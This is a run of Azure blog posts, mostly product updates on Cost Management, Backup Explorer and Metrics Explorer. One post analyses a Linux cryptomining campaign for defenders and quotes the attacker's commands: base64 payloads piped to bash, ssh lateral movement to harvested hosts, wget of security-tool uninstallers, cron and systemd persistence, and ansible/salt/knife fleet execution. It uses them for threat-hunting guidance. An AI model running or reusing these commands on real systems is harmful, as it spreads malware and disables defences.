Azure Cost Management + Billing updates – February 2020

Whether you’re a new student, thriving startup, or the largest enterprise, you have financial constraints and you need to know what you’re spending, where, and how to plan for the future. Nobody wants a surprise when it comes to the bill, and this is where Azure Cost Management + Billing comes in.

We’re always looking for ways to learn more about your challenges and how Azure Cost Management + Billing can help you better understand where you’re accruing costs in the cloud, identify and prevent bad spending patterns, and optimize costs to empower you to do more with less. Here are a few of the latest improvements and updates based on your feedback:

Let’s dig into the details.

 

New Power BI reports for Azure reservations and Azure Hybrid Benefit

Azure Cost Management + Billing offers several ways to report on your cost and usage data. You can start in the portal, download data or schedule an automated export for offline analysis, or even integrate with Cost Management APIs directly. But maybe you just need detailed reporting alongside other business reports. This is where the Power BI comes in. We last talked about the addition of reservation purchases in the Azure Cost Management Power BI connector in October. Building on top of that, the new Azure Cost Management Power BI app offers an extensive set of reports to get you started, including detailed reservation and Azure Hybrid Benefit reports.

The Account overview offers a summary of all usage and purchases as well as your credit balance to help you track monthly expenses. From here, you can dig in to usage costs broken down by subscription, resource group, or service in additional pages. Or, if you simply want to see your prices, take a look at the Price sheet page.

If you’re already using Azure Hybrid Benefit (AHB) or have existing, unused on-prem Windows licenses, check out the Windows Server AHB Usage page. Start by checking how many VMs currently have AHB enabled to determine if you have additional licenses that could help you further lower your costs. If you do have additional licenses, you can also identify eligible VMs based on their core/vCPU count. Apply AHB to your most expensive VMs to maximize your potential savings.

Azure Hybrid Benefit (AHB) report in the new Azure Cost Management Power BI app

If you’re using Azure reservations or are interested in potential savings you could benefit from if you did, you’ll want to check out the VM RI coverage pages to identify any new opportunities where you can save with new reservations, including the historical usage so you can see why that reservation is recommended. You can drill in to a specific region or instance size flexibility group and more. You can see your past purchases in the RI purchases page and get a breakdown of those costs by region, subscription, or resource group in the RI chargeback page, if you need to do any internal chargeback. And, don’t forget to check out the RI savings page, where you can see how much you’ve saved so far by using Azure reservations.

Azure reservation coverage report in the new Azure Cost Management Power BI app

This is just the first release of a new generation of Power BI reports. Get started with the Azure Cost Management Power BI quickstart today and let us know what you’d like to see next.

 

Quicker access to help and support

Learning something new can be a challenge; especially when it’s not your primary focus. But given how critical it is to meet your financial goals, getting help and support needs to be front and center. To support this, Cost Management now includes a contextual Help menu to direct you to documentation and support experiences.

Get started with a quickstart tutorial and, when you’re ready to automate that experience or integrate it into your own apps, check out the API reference. If you have any suggestions on how the experience could be improved for you, please don’t hesitate to share your feedback. If you run into an issue or see something that doesn’t make sense, start with Diagnose and solve problems, and if you don’t see a solution, then please do submit a new support request. We’re closely monitoring all feedback and support requests to identify ways the experience could be streamlined for you. Let us know what you’d like to see next.

Help menu in Azure Cost Management showing options to navigate to a Quickstart tutorial, API reference, Feedback, Diagnose and solve problems, and New support request

 

We need your feedback

As you know, we’re always looking for ways to learn more about your needs and expectations. This month, we’d like to learn more about how you report on and analyze your cloud usage and costs in a brief survey. We’ll use your inputs from this survey to inform ease of use and navigation improvements within Cost Management + Billing experiences. The 15-question survey should take about 10 minutes.

Take the survey.

 

What’s new in Cost Management Labs

With Cost Management Labs, you get a sneak peek at what’s coming in Azure Cost Management and can engage directly with us to share feedback and help us better understand how you use the service, so we can deliver more tuned and optimized experiences. Here are a few features you can see in Cost Management Labs:

  • Get started quicker with the cost analysis Home view
    Azure Cost Management offers five built-in views to get started with understanding and drilling into your costs. The Home view gives you quick access to those views so you get to what you need faster.
  • New: More details in the cost by resource view
    Drill in to the cost of your resources to break them down by meter. Simply expand the row to see more details or click the link to open and take action on your resources.
  • New: Explain what “not applicable” means
    Break down “not applicable” to explain why specific properties don’t have values within cost analysis.

Of course, that’s not all. Every change in Azure Cost Management is available in Cost Management Labs a week before it’s in the full Azure portal. We’re eager to hear your thoughts and understand what you’d like to see next. What are you waiting for? Try Cost Management Labs today.

 

Drill in to the costs for your resources

Resources are the fundamental building block in the cloud. Whether you’re using the cloud as infrastructure or componentized microservices, you use resources to piece together your solution and achieve your vision. And how you use these resources ultimately determines what you’re billed for, which breaks down to individual “meters” for each of your resources. Each service tracks a unique set of meters covering time, size, or other generalized unit. The more units you use, the higher the cost.

Today, you can see costs broken down by resource or meter with built-in views, but seeing both together requires additional filtering and grouping to get down to the data you need, which can be tedious. To simplify this, you can now expand each row in the Cost by resource view to see the individual meters that contribute to the cost of that resource.

Cost by resource view showing a breakdown of meters under a resource

This additional clarity and transparency should help you better understand the costs you’re accruing for each resource at the lowest level. And if you see a resource that shouldn’t be running, simply click the name to open the resource, where you can stop or delete it to avoid incurring additional cost.

You can see the updated Cost by resource view in Cost Management Labs today, while in preview. Let us know if you have any feedback. We’d love to know what you’d like to see next. This should be available everywhere within the next few weeks.

 

Understanding why you see “not applicable”

Azure Cost Management + Billing includes all usage, purchases, and refunds for your billing account. Seeing every line item in the full usage and charges file allows you to reconcile your bill at the lowest level, but since each of these records has different properties, aggregating them within cost analysis can result in groups of empty properties. This is when you see “not applicable” today.

Now, in Cost Management Labs, you can see these costs broken down and categorized into separate groups to bring additional clarity and explain what each represents. Here are a few examples:

  • You may see Other classic resources for any classic resources that don’t include resource group in usage data when grouping by resource or resource group.
  • If you’re using any services that aren’t deployed to resource groups, like Security Center or Azure DevOps (Visual Studio Online), you will see Other subscription resources when grouping by resource group.
  • You may recall seeing Untagged costs when grouping by a specific tag. This group is now broken down further into Tags not available and Tags not supported groups. These signify services that don’t include tags in usage data (see How tags are used) and costs that can’t be tagged, like purchases and resources not deployed to resource groups, covered above.
  • Since purchases aren’t associated with an Azure resource, you might see Other Azure purchases or Other Marketplace purchases when grouping by resource, resource group, or subscription.
  • You may also see Other Marketplace purchases when grouping by reservation. This represents other purchases, which aren’t associated with a reservation.
  • If you have a reservation, you may see Unused reservation when viewing amortized costs and grouping by resource, resource group, or subscription. This represents the unused portion of your reservation that isn’t associated with any resources. These costs will only be visible from your billing account or billing profile.

Of course, these are just a few examples. You may see more. When there simply isn’t a value, you’ll see something like No department, as an example, which represents Enterprise Agreement (EA) subscriptions that aren’t grouped into a department.

We hope these changes help you better understand your cost and usage data. You can see this today in Cost Management Labs while in preview. Please check it out and let us know if you have any feedback. This should be available everywhere within the next few weeks.

 

Upcoming changes to Azure usage data

Many organizations use the full Azure usage and charges to understand what’s being used, identify what charges should be internally billed to which teams, and/or to look for opportunities to optimize costs with Azure reservations and Azure Hybrid Benefit, just to name a few. If you’re doing any analysis or have setup integration based on product details in the usage data, please update your logic for the following services.

The following change will start effective March 1:

Also, remember the key-based Enterprise Agreement (EA) billing APIs have been replaced by new Azure Resource Manager APIs. The key-based APIs will still work through the end of your enrollment, but will no longer be available when you renew and transition into Microsoft Customer Agreement. Please plan your migration to the latest version of the UsageDetails API to ease your transition to Microsoft Customer Agreement at your next renewal.

 

New videos and learning opportunities

For those visual learners out there, here are 2 new resources you should check out:

Follow the Azure Cost Management + Billing YouTube channel to stay in the loop with new videos as they’re released and let us know what you’d like to see next!

 

Documentation updates

There were lots of documentation updates. Here are a few you might be interested in:

Want to keep an eye on all of the documentation updates? Check out the Cost Management + Billing doc change history in the azure-docs repository on GitHub. If you see something missing, select Edit at the top of the document and submit a quick pull request.

What’s next?

These are just a few of the big updates from last month. We’re always listening and making constant improvements based on your feedback, so please keep the feedback coming.

Follow @AzureCostMgmt on Twitter and subscribe to the YouTube channel for updates, tips, and tricks. And, as always, share your ideas and vote up others in the Cost Management feedback forum.

Backup Explorer now available in preview

As organizations continue to expand their use of IT and the cloud, protecting critical enterprise data becomes extremely important. And if you are a backup admin on Microsoft Azure, being able to efficiently monitor backups on a daily basis is a key requirement to ensuring that your organization has no weaknesses in its last line of defense.

Up until now, you could use a Recovery Services vault to get a bird’s eye view of items being backed up under that vault, along with the associated jobs, policies, and alerts. But as your backup estate expands to span multiple vaults across subscriptions, regions, and tenants, monitoring this estate in real-time becomes a non-trivial task, requiring you to write your own customizations.

What if there was a simpler way to aggregate information across your entire backup estate into a single pane of glass, enabling you to quickly identify exactly where to focus your energy on?

Today, we are pleased to share the preview of Backup Explorer. Backup Explorer is a built-in Azure Monitor Workbook enabling you to have a single pane of glass for performing real-time monitoring across your entire backup estate on Azure. It comes completely out-of-the-box, with no additional costs, via native integration with Azure Resource Graph and Azure Workbooks.

Key Benefits

1) At-scale views – With Backup Explorer, monitoring is no longer limited to a Recovery Services vault. You can get an aggregated view of your entire estate from a backup perspective. This includes not only information on your backup items, but also resources that are not configured for backup, ensuring that you don’t ever miss protecting critical data in your growing estate. And if you are an Azure Lighthouse user, you can view all of this information even across multiple tenant, enabling truly boundary-less monitoring.

2) Deep drill-downs – You can quickly switch between aggregated views and highly granular data for any of your backup-related artifacts, be it backup items, jobs, alerts or policies.

3) Quick troubleshooting and actionability – The at-scale views and deep drill-downs are designed to aid you in getting to the root cause of a backup-related issue. Once you identify an issue, you can act on it by seamlessly navigating to the backup item or the Azure resource, right from Backup Explorer.

Backup Explorer is currently supported for Azure Virtual Machines. Support for other Azure workloads will be added soon.

At Azure Backup, Backup Explorer is just one part of our overall goal to enable a delightful, enterprise-ready management-at-scale experience for all our customers.

Getting Started

To get started with using Backup Explorer, you can simply navigate to any Recovery Services vault and click on Backup Explorer in the quick links section.

Backup Explorer link in Recovery Services Vault

You will be redirected to Backup Explorer which gives a view across all the vaults, subscriptions, and tenants that you have access to.

Summary tab of Backup Explorer

More information

Read the Backup Explorer documentation for detailed information on leveraging the various tabs to solve different use-cases.

Azure Cost Management updates – January 2020

Whether you’re a new student, thriving startup, or the largest enterprise, you have financial constraints and you need to know what you’re spending, where, and how to plan for the future. Nobody wants a surprise when it comes to the bill, and this is where Azure Cost Management comes in.

We’re always looking for ways to learn more about your challenges and how Azure Cost Management can help you better understand where you’re accruing costs in the cloud, identify and prevent bad spending patterns, and optimize costs to empower you to do more with less. Here are a few of the latest improvements and updates based on your feedback:

Let’s dig into the details. 

Automate reporting for Microsoft Customer Agreement with scheduled exports

You already know you can dig into your cost and usage data from the Azure portal. You may even know you can get rich reporting from the Cost Management Query API or get the full details, in all its glory, from the UsageDetails API. These are both great for ad-hoc queries, but maybe you’re looking for a simpler solution. This is where Azure Cost Management exports come in.

Azure Cost Management exports automatically publish your cost and usage data to a storage account on a daily, weekly, or monthly basis. Up to this month, you’ve been able to schedule exports for Enterprise Agreement (EA) and pay-as-you-go (PAYG) accounts. Now, you can also schedule exports across subscriptions for Microsoft Customer Agreement billing accounts, subscriptions, and resource groups.

Learn more about scheduled exports in Create and manage exported data

Raising awareness of disabled costs

Enterprise Agreement (EA) and Microsoft Customer Agreement (MCA) accounts both offer an option to hide prices and charges from subscription users. While this can be useful to obscure negotiated discounts (including vendors), it also puts you at risk of over-spending since teams that deploy and manage resources don’t have visibility and cannot effectively keep costs down. To avoid this, we recommend using custom Azure RBAC roles for anyone who shouldn’t see costs, while allowing everyone else to fully manage and optimize costs.

Unfortunately, some organizations may not realize costs have been disabled. This can happen when you renew your EA enrollment or when you switch between EA partners, as an example. In an effort to help raise awareness of these settings, you will see new messaging when costs have been disabled for the organization. Someone who does not have access to see costs will see a message like the following in cost analysis:

Message stating "Cost Management not enabled for subscription users. Contact your subscription account admin about enabling 'Account owner can view charges' on the billing account."

EA billing account admins and MCA billing profile owners will also see a message in cost analysis to ensure they’re aware that subscription users cannot see or optimize costs.

Cost analysis showing a warning to Enterprise Agreement (EA) and Microsoft Customer Agreement (MCA) admins that "Subscription users cannot see or optimize costs. Enable Cost Management." with a link to enable view charges for everyone

To enable access to Azure Cost Management, simply click the banner and turn on “Account owners can view charges” for EA accounts and “Azure charges” for MCA accounts. If you’re not sure whether subscription users can see costs on your billing account, check today and unlock new cost reporting, control, and optimization capabilities for your teams. 

What’s new in Cost Management Labs

With Cost Management Labs, you get a sneak peek at what’s coming in Azure Cost Management and can engage directly with us to share feedback and help us better understand how you use the service, so we can deliver more tuned and optimized experiences. Here are a few features you can see in Cost Management Labs:

  • Get started quicker with the cost analysis Home view
    Azure Cost Management offers five built-in views to get started with understanding and drilling into your costs. The Home view gives you quick access to those views so you get to what you need faster.
  • NEW: Try Preview gives you quick access to preview featuresNow available in the public portal
    You already know Cost Management Labs gives you early access to the latest changes. Now you can also opt in to individual preview features from the public portal using the Try preview command in cost analysis.

Of course, that’s not all. Every change in Azure Cost Management is available in Cost Management Labs a week before it’s in the full Azure portal. We’re eager to hear your thoughts and understand what you’d like to see next. What are you waiting for? Try Cost Management Labs today. 

Custom RBAC role preview for management groups

Management groups now support defining custom RBAC roles to allow you to assign more specific permissions to users, groups, and apps within your organization. One example could be a role that allows someone to be able to create and manage the management group hierarchy as well as manage costs using Azure Cost Management + Billing APIs. Today, this requires both the Management Group Contributor and Cost Management Contributor roles, but these permissions could be combined into a single custom role to streamline role assignment.

If you’re unfamiliar with RBAC, Azure role-based access control (RBAC) is the authorization system used to manage access to Azure resources. To grant access, you assign roles to users, groups, service principals, or managed identities at a particular scope, like a resource group, subscription, or in this case, a management group. Cost Management + Billing supports the following built-in Azure RBAC roles, from least to most privileged:

  • Cost Management Reader: Can view cost data, configuration (including budgets exports), and recommendations.
  • Billing Reader: Lets you read billing data.
  • Reader: Lets you view everything, but not make any changes.
  • Cost Management Contributor: Can view costs, manage cost configuration (including budgets and exports), and view recommendations.
  • Contributor: Lets you manage everything except access to resources.
  • Owner: Lets you manage everything, including access to resources.

While most organizations will find the built-in roles to be sufficient, there are times when you need something more specific. This is where custom RBAC roles come in. Custom RBAC roles allow you to define your own set of unique permissions by specifying a set of wildcard “actions” that map to Azure Resource Manager API calls. You can mix and match actions as needed to meet your specific needs, whether that’s to allow an action or deny one (using “not actions”). Below are a few examples of the most common actions:

  • Microsoft.Consumption/*/read – Read access to all cost and usage data, including prices, usage, purchases, reservations, and resource tags.
  • Microsoft.Consumption/budgets/* – Full access to manage budgets.
  • Microsoft.CostManagement/*/read – Read access to cost and usage data and alerts.
  • Microsoft.CostManagement/views/* – Full access to manage shared views used in cost analysis.
  • Microsoft.CostManagement/exports/* – Full access to manage scheduled exports that automatically push data to storage on a regular basis.
  • Microsoft.CostManagement/cloudConnectors/* – Full access to manage AWS cloud connectors that allow you manage Azure and AWS costs together in the same management group. 

New ways to save money with Azure

Lots of cost optimization improvements over the past month! Here are a few you might be interested in:

Recent changes to Azure usage data

Many organizations use the full Azure usage and charges dataset to understand what’s being used, identify what charges should be internally billed to which teams, and/or to look for opportunities to optimize costs with Azure reservations and Azure Hybrid Benefit, just to name a few. If you’re doing any analysis or have setup integration based on product details in the usage data, please update your logic for the following services.

All of the following changes were effective January 1:

Also, remember the key-based Enterprise Agreement (EA) billing APIs have been replaced by new Azure Resource Manager APIs. The key-based APIs will still work through the end of your enrollment, but will no longer be available when you renew and transition into Microsoft Customer Agreement. Please plan your migration to the latest version of the UsageDetails API to ease your transition to Microsoft Customer Agreement at your next renewal. 

Documentation updates

There were tots of documentation updates. Here are a few you might be interested in:

Want to keep an eye on all of the documentation updates? Check out the Cost Management doc change history in the azure-docs repository on GitHub. If you see something missing, select Edit at the top of the document and submit a quick pull request.

What’s next?

These are just a few of the big updates from last month. We’re always listening and making constant improvements based on your feedback, so please keep the feedback coming.

Follow @AzureCostMgmt on Twitter and subscribe to the YouTube channel for updates, tips, and tricks. And, as always, share your ideas and vote up others in the Cost Management feedback forum.

Learning from cryptocurrency mining attack scripts on Linux

Cryptocurrency mining attacks continue to represent a threat to many of our Azure Linux customers. In the past, we’ve talked about how some attackers use brute force techniques to guess account names and passwords and use those to gain access to machines. Today, we’re talking about an attack that a few of our customers have seen where a service is exploited to run the attackers code directly on the machine hosting the service.

This attack is interesting for several reasons. The attacker echoes in their scripts so we can see what they want to do, not just what executes on the machine. The scripts cover a wide range of possible services to exploit so they demonstrate how far the campaign can reach. Finally, because we have the scripts themselves, we can pull out good examples from the Lateral Movement, Defense Evasion, Persistence, and Objectives sections of the Linux MITRE ATT&CK Matrix and use those to talk about hunting on your own data.

Initial vector

For this attack, the first indication something is wrong in the audited logs is an echo command piping a base64 encoded command into base64 for decoding then piping into bash. Across our users, this first command has a parent process of an application or service exposed to the internet and the command is run by the user account associated with that process. This indicates the application or service itself was exploited in order to run the commands. While some of these accounts are specific to a customer, we also see common accounts like Ubuntu, Jenkins, and Hadoop being used. 

/bin/sh -c "echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYm

luOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4K<snip>CmRvbm

UK|base64 -d|bash"

Scripts

It is worth taking a brief aside to talk about how this attacker uses scripts. In this case, they do nearly everything through base64 encoded scripts. One of the interesting things about those scripts is they start with the same first two lines: redirecting both the standard error and standard output stream to /dev/null and setting the path variable to locations the attacker knows generally hold the system commands they want to run. 

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

This indicates that when each of them is base64 encoded, the first part of the encoding is the same every time.

ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYm

luOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4K

The use of the same command is particularly helpful when trying to tie attacks together across a large set of machines. The scripts themselves are also interesting because we can see what the attacker intended to run. As defenders, it can be very valuable to look at attacker scripts whenever you can so you can see how they are trying to manipulate systems. For instance, this attacker uses a for loop to cycle through different possible domain names. This type of insight gives defenders more data to pivot on during an investigation.

for h in onion.glass civiclink.network tor2web.io onion.sh onion.mn onion.in.net onion.to
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
x t<snip>v.$h
else
break
fi
done

We observed this attacker use over thirty different encoded scripts across a number of customers, but they boiled down to roughly a dozen basic scripts with small differences in executable names or download sites. Within those scripts are some interesting examples that we can tie directly to the MITRE ATT&CK Matrix for Linux.

Lateral Movement

While it isn’t the first thing the attacker does, they do use an interesting combination Discovery (T1018: Remote System Discovery) and Lateral Movement (T1021: Remote Services) techniques to infect other hosts. They grep through the files .bash_history, /etc/hosts, and .ssh/known_hosts looking for IP addresses. They then attempt to pass their initial encoded script into each host using both the root account and the account they compromised on their current host without a password. Note, the xssh function appears before the call in the original script. 

hosts=$(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
------
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no [email protected]$2 'echo ZXhlYyA<snip>KZG9uZQo=|base64 -d|bash'
}

In each case, after the initial foothold is gained, the attacker uses a similar set of Defense Evasion techniques.

Defense Evasion

Over various scripts, the attacker uses the T1107: File Deletion, T1222: File and Directory Permissions Modification, and T1089: Disabling Security Tools techniques, as well as the obvious by this point, T1064: Scripting.

In one script they first they make a randomly named file:

z=./$(date|md5sum|cut -f1 -d" ")

After they download their executable into that file, they modify the downloaded file for execution, run it, then delete the file from disk:

chmod +x $z;$z;rm -f

In another script, the attacker tries to download then run uninstall files for the Alibaba Cloud Security Server Guard and the AliCloud CloudMonitor service (the variable $w is set as a wget command earlier in the script).

$w update.aegis.aliyun.com/download/uninstall.sh|bash
$w update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
/usr/local/qcloud/stargate/admin/uninstall.sh

Persistence

Once the coin miner is up and running, this attacker uses a combination of T1168: Local Job Scheduling and T1501: Systemd Service scheduled tasks for persistence. The below is taken from another part of a script where they echo an ntp call and one of their base64 encoded scripts into the file systemd-ntpdate then add a cron job to run that file. The encoded script here is basically the same as their original script that started off the intrusion.

echo -e "#x21/bin/bashnexec &>/dev/nullnntpdate ntp.aliyun.comnsleep $((RANDOM % 600))necho ZXhlYyAmPi9<snip>2gKZmkK|base64 -d|bash" > /lib/systemd/systemd-ntpdate
echo "0 * * * * root /lib/systemd/systemd-ntpdate" > /etc/cron.d/0systemd-ntpdate
touch -r /bin/grep /lib/systemd/systemd-ntpdate
touch -r /bin/grep /etc/cron.d/0systemd-ntpdate
chmod +x /lib/systemd/systemd-ntpdate

Objectives

As previously mentioned, the main objective of this attacker is to get a coin miner started. They do this in the very first script that is run using the T1496: Resource Hijacking tactic. One of the interesting things about this attack is that while they start by trying to get the coin miner going with the initially compromised account, one of the subsequent scripts attempts to get it started using commands from different pieces of software (T1072: Third-party Software).

ansible all -m shell -a 'echo ZXh<snip>uZQo=|base64 -d|bash'
knife ssh 'name:*' 'echo ZXh<snip>uZQo=|base64 -d|bash'
salt '*' cmd.run 'echo ZXh<snip>ZQo=|base64 -d|bash'

Hunting

ASC Linux customers should expect to see coin mining or suspicious download alerts from this type of activity, but what if you wanted to hunt for it yourself? If you use the above script examples, there are several indicators you could follow up on, especially if you have command line logging. 

  • Do you see unexpected connections to onion and tor sites?
  • Do you see unexpected ssh connections between hosts?
  • Do you see an increase in activity from a particular user?
  • Do you see base64 commands echoed, decoded, then piped into bash? Any one of those could be suspicious depending on your own network.
  • Check your cron jobs, do you see wgets or base64 encoded lines there?
  • Check the services running on your machines, do you see anything unexpected?
  • In reference to the Objectives section above, do you see commands for pieces of software you don’t have installed?

Azure Sentinel can help with your hunting as well. If you are an Azure Security Center customer already, we make it easy to integrate into Azure Sentinel.

Defense

In addition to hunting, there are a few things you can do to defend yourself from these types of attacks. If you have internet-facing services, make sure you are keeping them up to date, are changing any default passwords, and taking advantage of some of the other credential management tools Azure offers like just-in-time (JIT), password-less sign-in, and Azure Key Vault. Monitor your Azure machine utilization rates; an unexpected increase in usage could indicate a coin miner. Check out other ideas at the Azure Security Center documentation page

Identifying attacks on Linux systems

Coin miners represent a continuing threat to machines exposed to the internet. While it’s generally easy to block a known-bad IP or use a signature-based antivirus, by studying attacker tactics, techniques, and procedures, defenders can find new and more reliable ways to protect their environments.

While we talk about a specific coin miner attacker in this post, the basic techniques highlighted above are used by many different types of attackers of Linux systems. We see Lateral movement, Defense Evasion, and Persistence techniques similar to the above used by different attackers regularly and are continually adding new detections based on our investigations.

Azure Cost Management 2019 year in review

When we talk about cost management, we focus on three core tenets:

  1. Ensuring cost visibility so everyone is aware of the financial impact their solutions have.
  2. Driving accountability throughout the organization to stop bad spending patterns.
  3. Continuous cost optimization as your usage changes over time to do more with less.

These were the driving forces in 2019 as we set out to build a strong foundation that pulls together all costs across all account types and ensures everyone in the organization has a means to report on, control, and optimize costs. Our ultimate goal is to empower you to lead a healthier, more financially responsible organization.

All costs behind a single pane of glass

On the heels of the Azure Cost Management preview, 2019 started off strong with the general availability of Enterprise Agreement (EA) accounts in February and pay-as-you-go (PAYG) in April. At the same time, Microsoft as a whole embarked on a journey to modernize the entire commerce platform with the new Microsoft Customer Agreement (MCA), which started rolling out for enterprises in March, pay-as-you-go subscriptions in July, and Cloud Solution Providers (CSP) using Azure plan in November. Whether you get Azure through the Microsoft field, directly from Azure.com, or through a Microsoft partner, you have the power of Azure Cost Management at your fingertips. But getting basic coverage of your Azure usage is only part of the story.

To effectively manage costs, you need all costs together, in a single repository. This is exactly what Azure Cost Management brings you. From the unprecedented ability to monitor Amazon Web Services (AWS) costs within the Azure portal in May (a first for any cloud provider), to the inclusion of reservation and Marketplace purchases in June, Azure Cost Management enables you to manage all your costs from a single pane of glass, whether you’re using Azure or AWS.

What’s next?

Support for Sponsorship and CSP subscriptions not on an Azure plan are at the top of the list to ensure every Azure subscription can use Azure Cost Management. AWS support will become generally available and then Google Cloud Platform (GCP) support will be added.

Making it easier to report on and analyze costs

Getting all costs in one place is only the beginning. 2019 also saw many improvements that help you report on and analyze costs. You were able to dig in and explore costs with the 2018 preview, but the only way to truly control and optimize costs is to raise awareness of current spending patterns. To that end, reporting in 2019 was focused on making it easier to customize and share.

The year kicked off with the ability to pin customized views to the Azure portal dashboard in January. You could share links in May, save views directly from cost analysis in August, and download charts as an image in September. You also saw a major Power BI refresh in October that no longer required classic API keys and added reservation details and recommendations. Each option helps you not only save time, but also starts that journey of driving accountability by ensuring everyone is aware of the costs they’re responsible for.

Looking beyond sharing, you also saw new capabilities like forecasting costs in June and switching between currencies in July, simpler out-of-the-box options like the new date picker in May and invoice details view in September, and changes that simply help you get your job done the way you want to like support for the Azure portal dark theme and continuous accessibility improvements throughout the year.

From an API automation and integration perspective, 2019 was also a critical milestone as EA cost and usage APIs moved to Azure Resource Manager. The Resource Manager APIs are forward-looking and designed to minimize your effort when it comes time to transition to Microsoft Customer Agreement by standardizing terminology across account types. If you haven’t started the migration to the Resource Manager APIs, make that your number one resolution for the new year!

What’s next?

2020 will continue down this path, from more flexible reporting and scheduling email notifications to general improvements around ease of use and increased visibility throughout the Azure portal. Power BI will get Azure reservation and Hybrid Benefit reports as well as support for subscription and resource group users who don’t have access to the whole billing account. You can also expect to see continued API improvements to help make it easier than ever to integrate cost data into your business systems and processes.

Flexible cost control that puts the power in your hands

Once you understand what you’re spending and where, your next step is to figure out how to stop the bad spending patterns and keep costs under control. You already know you can define budgets to get notified about and take action on overages. You decide what actions you want to take, whether that be as simple as an email notification or as drastic as deleting all your resources to ensure you won’t be charged. Cost control in 2019 was centered on helping you stay on top of your costs and giving you the tools to control spending as you see fit.

This started with a new, consolidated alerts experience in February where you can see all your invoice, credit, and budget overage alerts in a single place. Budgets were expanded to support new account types we talked about above, and to support management groups in June giving you a view of all your costs across subscriptions. Then in August, you were able to create targeted budgets with filters for fine-grained tracking, whether that be for an entire service, a single resource, or an application that spans multiple subscriptions (via tags). This also came with an improved experience when creating budgets to help you better estimate what your budget should be based on historical and forecasted trends.

What’s next?

2020 will take cost control to the next level by allowing you to split shared costs with cost allocation rules and define an additional markup for central teams who typically run on overhead or don’t want to expose discounts to the organization. We’re also looking at improvements around management groups and tags to give you more flexibility to manage costs the way you need to for your organization.

New ways to save and do more with less

Cloud computing comes with a lot of promises, from flexibility and speed to scalability and security. The promise of cost savings is often the driving force behind cloud migrations, yet is also one of the more elusive to achieve. Luckily, Azure delivers new cost optimization opportunities nearly every month! This is on top of the recommendations offered by Azure Advisor, which are specifically tuned to save money on the resources you already have deployed. Here are a few of the over two dozen new cost saving opportunities you saw in 2019:

What’s next?

Expect to see continued updates in these areas through 2020. We’re also partnering with individual service teams to deliver even more built-in recommendations for database, storage, and PaaS services, just to name a few.

Streamlined account and subscription management

Throughout 2019, you may have noticed a lot of changes to Cost Management + Billing in the Azure portal. What was purely focused on PAYG subscriptions in early 2018 became a central hub for billing administrators in 2019 with full administration for MCA accounts in March, new EA account management capabilities in July, and subscription provisioning and transfer updates in August. All of these are helping you get one step closer to having a single portal to manage every aspect of your account.

What’s next?

2020 will be the year of converged and consolidated experiences for Cost Management + Billing. This will start with the Billing and Cost Management experiences within the Azure portal and will expand to include capabilities you’re currently using the EA, Account, or Cloudyn portals for today. Whichever portal you use, expect to see all these come together into a single, consolidated experience that has more consistency across account types. This will be especially evident as your account moves from the classic EA, PAYG, and CSP programs to Microsoft Customer Agreement (and Azure plan), which is fully managed within the Azure portal and offers critical new billing capabilities, like finer-grained access control and grouping subscriptions into separate invoices.

Looking forward to another year

The past 12 months have been packed with one improvement after another, and we’re just getting started! We couldn’t list them all here, but if you only take one thing away, please do check out and subscribe to the Azure Cost Management monthly updates for the latest news on what’s changed and what’s coming. We’ve already talked about what you can expect to see in 2020 for each area, but the key takeaway is:

2020 will bring one experience to manage all your Azure, AWS, and GCP costs from the Azure portal, with simpler, yet more powerful cost reporting, control, and optimization tools that help you stay more focused on your mission.

We look forward to hearing your feedback as these new and updated capabilities become available. And if you’re interested in the latest features, before they’re available to everyone, check out Azure Cost Management Labs (introduced in July) and don’t hesitate to reach out with any feedback. Cost Management Labs gives you a direct line to the Azure Cost Management engineering team and is the best way to influence and make an immediate impact on features being actively developed and tuned for you.

Follow @AzureCostMgmt on Twitter and subscribe to the YouTube channel for updates, tips, and tricks! And, as always, share your ideas and vote up others in the Cost Management feedback forum. See you in 2020!

New features in Azure Monitor Metrics Explorer based on your feedback

A few months ago, we posted a survey to gather feedback on your experience with metrics in Azure Portal. Thank you for participation and for providing valuable suggestions!

We want to share some of the insights we gained from the survey and highlight some of the features that we delivered based on your feedback. These features include:

  • Resource picker that supports multi-resource scoping.
  • Splitting by dimension allows limiting the number of time series and specifying sort order.
  • Charts can show a large number of datapoints.
  • Improved chart legends.

Resource picker with multi-resource scoping

One of the key pieces of feedback we heard was about the resource picker panel. You said that being able to select only one resource at a time when choosing a scope is too limiting. Now you can select multiple resources across resource groups in a subscription.

Resource picker with selection of multiple resources.

Ability to limit the number of timeseries and change sort order when splitting by dimension

Many of you asked for the ability to configure the sort order based on dimension values, and for control over the maximum number of timeseries shown on the chart. Those who asked explained that for some metrics, including available memory and remaining disk space, they want to see the timeseries with smallest values, while for other metrics, including CPU utilization or count of failures, showing the timeseries with highest values make more sense. To address your feedback, we expanded the dimension splitter selector with Sort order and Limit count inputs.
  Split metric by dimension with configurable sort order and ability to limit the number of timeseries.

Charts that show a large number of datapoints

Charts with multiple timeseries over the long period, especially with short time grain are based on queries that return lots of datapoints. Unfortunately, processing too many datapoints may slow down chart interactions. To ensure the best performance, we used to apply a hard limit on the number of datapoints per chart, prompting users to lower the time range or to increase the time grain when the query returns too much data.

Some of you found the old experience frustrating. You said that occasionally you might want to plot charts with lots of datapoints, regardless of performance. Based on your suggestions, we changed the way we handle the limit. Instead of blocking chart rendering, we now display a message that suggests that the metrics query will return a lot of data, but will let you proceed anyways (with a friendly reminder that you might need to wait longer for the chart to display).
  A warning about too many datapoints with a button to ignore and continue. 
